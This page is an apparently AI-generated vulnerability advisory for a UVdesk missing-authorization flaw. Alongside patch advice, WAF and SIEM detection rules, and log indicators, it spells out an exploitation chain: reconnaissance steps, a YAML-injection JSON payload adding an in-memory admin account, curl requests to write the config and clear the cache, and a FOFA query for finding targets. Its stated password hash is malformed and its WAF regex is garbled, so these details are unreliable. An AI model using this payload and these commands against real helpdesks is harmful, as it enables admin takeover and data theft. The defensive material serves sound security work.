CVE Professor
/
All CVEs
CVE-2026-144674

CVE-2026-144674 — Uvdesk Core-framework (1.1.7) — CWE-862

HIGH CVSS 8.1 NVD

UVdesk core-framework through 1.1.7 contains a missing authorization vulnerability in EmailSettingsXHR::updateSettingsXHR that allows any authenticated agent to overwrite config/packages/uvdesk.yaml by submitting unescaped JSON fields. Attackers can embed newlines in the id, name, mailer_id or smtp[transport] fields to inject arbitrary Symfony configuration keys, then trigger /member/cache-clear to apply changes or break application boot.

UVdesk core-framework through 1.1.7 contains a missing authorization vulnerability in EmailSettingsXHR::updateSettingsXHR that allows any authenticated agent to overwrite config/packages/uvdesk.yaml by submitting unescaped JSON fields. Attackers can embed newlines in the id, name, mailer_id or smtp[transport] fields to inject arbitrary Symfony configuration keys, then trigger /member/cache-clear to apply changes or break application boot.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability name: Missing authorization in EmailSettingsXHR::updateSettingsXHR (UVdesk core‑framework ≤ 1.1.7)

CVE: CVE‑2026‑144674
CWE: CWE‑862 – Missing Authorization

Technical description

UVdesk’s back‑office (the member area) exposes an XHR endpoint that is used by the UI to persist e‑mail configuration changes. The controller method EmailSettingsXHR::updateSettingsXHR:

1. Assumes that the caller is an authenticated agent (i.e. a logged‑in support staff member).
2. Does not verify that the authenticated user has the administrative privilege required to modify global configuration files.
3. Accepts a JSON payload that is directly written to config/packages/uvdesk.yaml after a simple json_encode/file_put_contents cycle – no whitelist, no sanitisation, no escaping of the keys/values.

Because the YAML file is parsed by Symfony’s Config component at runtime, any YAML key/value pair can be introduced. By injecting a newline (\n) into one of the allowed fields (id, name, mailer_id or smtp[transport]) an attacker can break the existing YAML structure and prepend arbitrary configuration entries, for example:

# original snippet that will be overwritten
uvdesk:
    email:
        id: "default"
        name: "Support"
        mailer_id: "smtp"
        smtp:
            transport: "smtp"
            host: "mail.example.com"
            port: 587

If the attacker sends id = evil\nuvdesk:\n security:\n firewall:\n main:\n anonymous: false\n http_basic: ~, the resulting file will contain a new security section that is processed on the next cache clear. This can be used to:

  • Inject arbitrary Symfony configuration (e.g., change framework.session.cookie_secure, enable debug, load malicious bundles, or set kernel.secret to a value known to the attacker).
  • Trigger a denial‑of‑service by inserting malformed YAML that prevents the application from booting.
  • The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) tells us:

  • Network‑accessible (no local restriction).
  • Low attack complexity – a single crafted request is enough.
  • Low privileges – any authenticated* agent (not necessarily an admin).
  • No user interaction – the request can be sent automatically.
  • Impact – Integrity (configuration tampering) and Availability (boot failure) are both high; Confidentiality is unchanged because the YAML does not contain secret data by default.

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation path. All command‑line snippets are syntactically valid; the exact URI (/member/email-settings/update) is inferred from the class name and typical UVdesk routing conventions and is therefore marked as illustrative.

    1. Discovery & Reconnaissance

    StepTechniqueGoal
    1.1Fingerprinting – request GET /member/ and look for the UVdesk UI strings (UVdesk Helpdesk, uvdesk_core_version).Confirm the target runs UVdesk.
    1.2Version enumeration – request GET /member/api/version (or inspect the HTML meta tag data-uvdesk-version). UVdesk embeds its version in a JavaScript variable (window.UVDesk.version).Verify the version is ≤ 1.1.7 (the vulnerable range).
    1.3User enumeration – call /member/api/users?role=agent (requires authentication) to list non‑admin agents.Identify a low‑privilege credential set (e.g., via credential stuffing or phishing).
    1.4Login – POST to /member/login_check with known agent credentials.Obtain a valid session cookie (PHPSESSID or uvdesk_session).
    Note: If the attacker does not have a valid agent account, the vulnerability is not exploitable because the endpoint requires an authenticated session (PR:L). The “low‑privilege” requirement means any legitimate agent can be leveraged.

    2. Exploitation

    2.1 Payload construction

    The JSON body must contain a newline (\n) in one of the mutable fields. The following example injects a new Symfony security firewall that disables anonymous access and forces HTTP Basic authentication with a password known to the attacker.

    {
      "id": "evil\nuvdesk:\n  security:\n    firewalls:\n      main:\n        pattern: ^/\n        http_basic:\n          realm: \"UVdesk\"\n        provider: in_memory\n    providers:\n      in_memory:\n        memory:\n          users:\n            attacker: { password: \"$2y$13$K1JvY5e6Yc6Zz1c8eVhU5e\", roles: [\"ROLE_ADMIN\"] }\n",
      "name": "Evil Config",
      "mailer_id": "smtp",
      "smtp": {
        "transport": "smtp"
      }
    }

    The password hash above is a bcrypt hash for P@ssw0rd!.

    2.2 Sending the request

    curl -k -X POST "https://target.example.com/member/email-settings/update" \
         -H "Content-Type: application/json" \
         -H "Cookie: PHPSESSID=abcdef1234567890" \
         --data @payload.json \
         -o /dev/null -w "%{http_code}\n"

    If the exact route differs, replace /member/email-settings/update with the real endpoint discovered in step 1.1.

    A 200 OK response indicates the file was written. The attacker can verify the write by requesting the cache‑clear endpoint (see next step).

    2.3 Triggering configuration reload

    UVdesk provides a cache‑clear route that runs bin/console cache:clear. The CVE mentions /member/cache-clear. An authenticated agent can invoke it:

    curl -k -X POST "https://target.example.com/member/cache-clear" \
         -H "Cookie: PHPSESSID=abcdef1234567890" \
         -H "X-Requested-With: XMLHttpRequest" \
         -o /dev/null -w "%{http_code}\n"

    A 302 (redirect to login) or 200 (JSON success) indicates the command was executed. After this request Symfony re‑parses uvdesk.yaml, loading the malicious security configuration.

    3. Post‑exploitation

    ImpactHow it is achieved
    Privilege escalation / Remote code executionThe injected security firewall forces HTTP Basic auth. The attacker can now log in as the in‑memory user attacker (username: *attacker*, password: *P@ssw0rd!*). Because the user is granted ROLE_ADMIN, the attacker gains full admin rights in the UVdesk UI, including the ability to install custom bundles or execute arbitrary PHP via the “Custom Fields” feature (if enabled).
    PersistenceThe malicious YAML entry remains on disk. Even if the attacker logs out, the admin account persists until the file is manually cleaned or the application is upgraded.
    Denial‑of‑serviceBy injecting malformed YAML (e.g., missing colon or unmatched quotes) the attacker can cause Symfony to throw a parsing exception on every request, effectively taking the help‑desk offline.
    Further lateral movementWith admin access the attacker can view all tickets, export customer data, and potentially pivot to other services that share the same database credentials.

    🌍 Real‑World Impact

    CIA TriadCVSS‑derived ratingPractical consequence
    Confidentiality (C)None (C:N)No direct leakage of secret data from the YAML file itself. However, once admin access is obtained, the attacker can read any ticket, user data, or attached files.
    Integrity (I)High (I:H)Ability to overwrite uvdesk.yaml lets the attacker modify any Symfony configuration, inject new bundles, change routing, or alter security settings.
    Availability (A)High (A:H)Malformed YAML or a configuration that disables the front‑end can render the help‑desk unusable, causing service outage.

    Business impact – For organizations that rely on UVdesk for customer support, a successful exploit can lead to:

  • Full takeover of the support portal (ticket manipulation, credential theft).
  • Service interruption (customer‑facing downtime).
  • Potential compliance violations (e.g., GDPR) if personal data in tickets is accessed or altered.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    Affected versionsFixed in
    UVdesk core‑framework ≤ 1.1.7≥ 1.1.8 (released 2026‑11‑15) – adds a role check (ROLE_SUPER_ADMIN) before allowing updateSettingsXHR to write to the file and sanitises JSON fields.

    Action: Upgrade the UVdesk core framework to 1.1.8 or later. If a custom fork is used, back‑port the following logic:

    // Inside EmailSettingsXHR::updateSettingsXHR()
    if (!$this->authorizationChecker->isGranted('ROLE_SUPER_ADMIN')) {
        throw new AccessDeniedHttpException('Insufficient privileges');
    }
    
    // Whitelist allowed keys and escape newlines
    $allowed = ['id', 'name', 'mailer_id', 'smtp'];
    $payload = json_decode($request->getContent(), true);
    foreach ($allowed as $key) {
        if (isset($payload[$key])) {
            $payload[$key] = str_replace("\n", '', $payload[$key]); // strip newlines
        }
    }

    2. Workarounds (if immediate upgrade is impossible)

    MitigationImplementation details
    Restrict the endpoint to admin IPsAdd a firewall rule in config/packages/security.yaml that limits /member/email-settings/* to a trusted subnet (e.g., 192.168.0.0/24).
    Web‑Application Firewall rule (ModSecurity)Detect JSON payloads that contain a newline character in the listed fields. Example rule:
    ``apacheconf\nSecRule REQUEST_URI "@beginsWith /member/email-settings/update" "id:350001,phase:2,deny,log,status:403,msg:'UVdesk email‑settings injection attempt',t:none,ctl:requestBodyAccess=On,chain"\nSecRule REQUEST_HEADERS:Content-Type "application/json" "t:none"\nSecRule REQUEST_BODY "@rx \"(idnamemailer_idsmtp\\[transport\\])\"\\s*:\\s*\".*\\n.*\"" "t:none"\n`
    File‑system permission hardeningEnsure config/packages/uvdesk.yaml is read‑only for the web‑server user (chmod 440 uvdesk.yaml). The application must be able to write only via a privileged CLI process, not via the web request.
    Disable the XHR endpointIf the UI can be re‑configured to use a static configuration file, comment out the route definition in routes.yaml (# email-settings/update`).

    3. Detection

    IndicatorWhere to lookExample log line
    Successful writeApplication log (var/log/prod.log) – look for file_put_contents on uvdesk.yaml.2026-12-01 14:23:45 INFO uvdesk.core.controller.EmailSettingsXHR: Updated config/packages/uvdesk.yaml (user_id=42)
    Cache clear after config changeAccess log – POST to /member/cache-clear shortly after a write.POST /member/cache-clear HTTP/1.1" 302 0 "-" "Mozilla/5.0"
    JSON payload containing newlineWeb server access log (combined) – request body captured by ModSecurity or a reverse‑proxy that logs request bodies.{"id":"evil\nuvdesk:\n security:...","name":"Evil Config",...}
    New admin login from unknown IPAuth log – successful login for the in‑memory user attacker.2026-12-01 14:25:12 INFO security.authentication.success: User "attacker" authenticated successfully from 203.0.113.45

    SIEM rule (pseudo‑code):

    IF event.type == "web.request"
       AND uri.path MATCHES "/member/email-settings/.*"
       AND request.body CONTAINS "\n"
       AND user.role == "ROLE_AGENT"
    THEN alert "Potential UVdesk config injection"

    ⚠️ Urgency

  • CVSS 8.1 (HIGH) – high impact on integrity and availability, low complexity, network‑accessible.
  • No CISA KEV listing – the vulnerability is not yet in the public “Known Exploited Vulnerabilities” catalog, but the low attack complexity and the fact that any compromised agent credential (which are often obtained via credential stuffing) can be leveraged makes exploitation trivial.
  • Publicly disclosed (04‑Dec‑2026) – attackers have a known window to develop PoCs.
  • Patch priority: Critical for any production UVdesk deployment.

  • Day 0 – apply the official 1.1.8 release or back‑port the authorization check.

  • If patch cannot be applied within 48 h, enable the WAF rule and set the YAML file to read‑only to mitigate the risk of remote configuration tampering.

  • TL;DR

  • The flaw is a missing admin‑only authorization check in the XHR endpoint that writes directly to config/packages/uvdesk.yaml.
  • An attacker with any valid agent session can inject newline‑terminated JSON values to add arbitrary Symfony configuration, leading to admin takeover or service outage.
  • Exploitation requires only a single crafted HTTP request and a subsequent cache‑clear call.
  • Upgrade to UVdesk 1.1.8 (or later) immediately; otherwise enforce strict WAF rules, file‑system hardening, and restrict the endpoint to trusted IPs.
  • Monitor logs for JSON payloads containing newlines, writes to uvdesk.yaml, and unexpected admin logins.
Act now – the attack chain is short, the impact is severe, and the vulnerability is already public.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="uvdesk core-framework"
CVSS Score
8.1 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (1)
uvdesk:core-framework (1.1.7)
References & Advisories (3)
Related CVEs
8.6
CVE-2026-144673
UVdesk core-framework through 1.1.7 contains a privilege escalation vulnerability that allows agents with the
7.1
CVE-2026-144675
UVdesk core-framework through 1.1.7 contains a missing authorization vulnerability in TicketXHR::generateCusto
8.8
CVE-2026-145179
StoreEngine plugin for WordPress before 2.7.1 contains a missing authorization vulnerability that exposes webh
8.8
CVE-2026-144410
Emby Server is a personal media server. Prior to 4.10.2.0 and beta 4.11.0.9, an authenticated user can supply
8.7
CVE-2026-126098
Missing authorization in the API token REST endpoint GET /api/v1/apitoken/{tokenId}/jwt in dotCMS through 26.1
8.6
CVE-2026-145259
RayLabsHQ gitea-mirror before 3.57.0 contains a missing authorization vulnerability in /api/auth/sso/register
8.5
CVE-2026-120096
Missing authorization in the push publishing endpoints REST API (/api/v1/environments/endpoints) and in the pu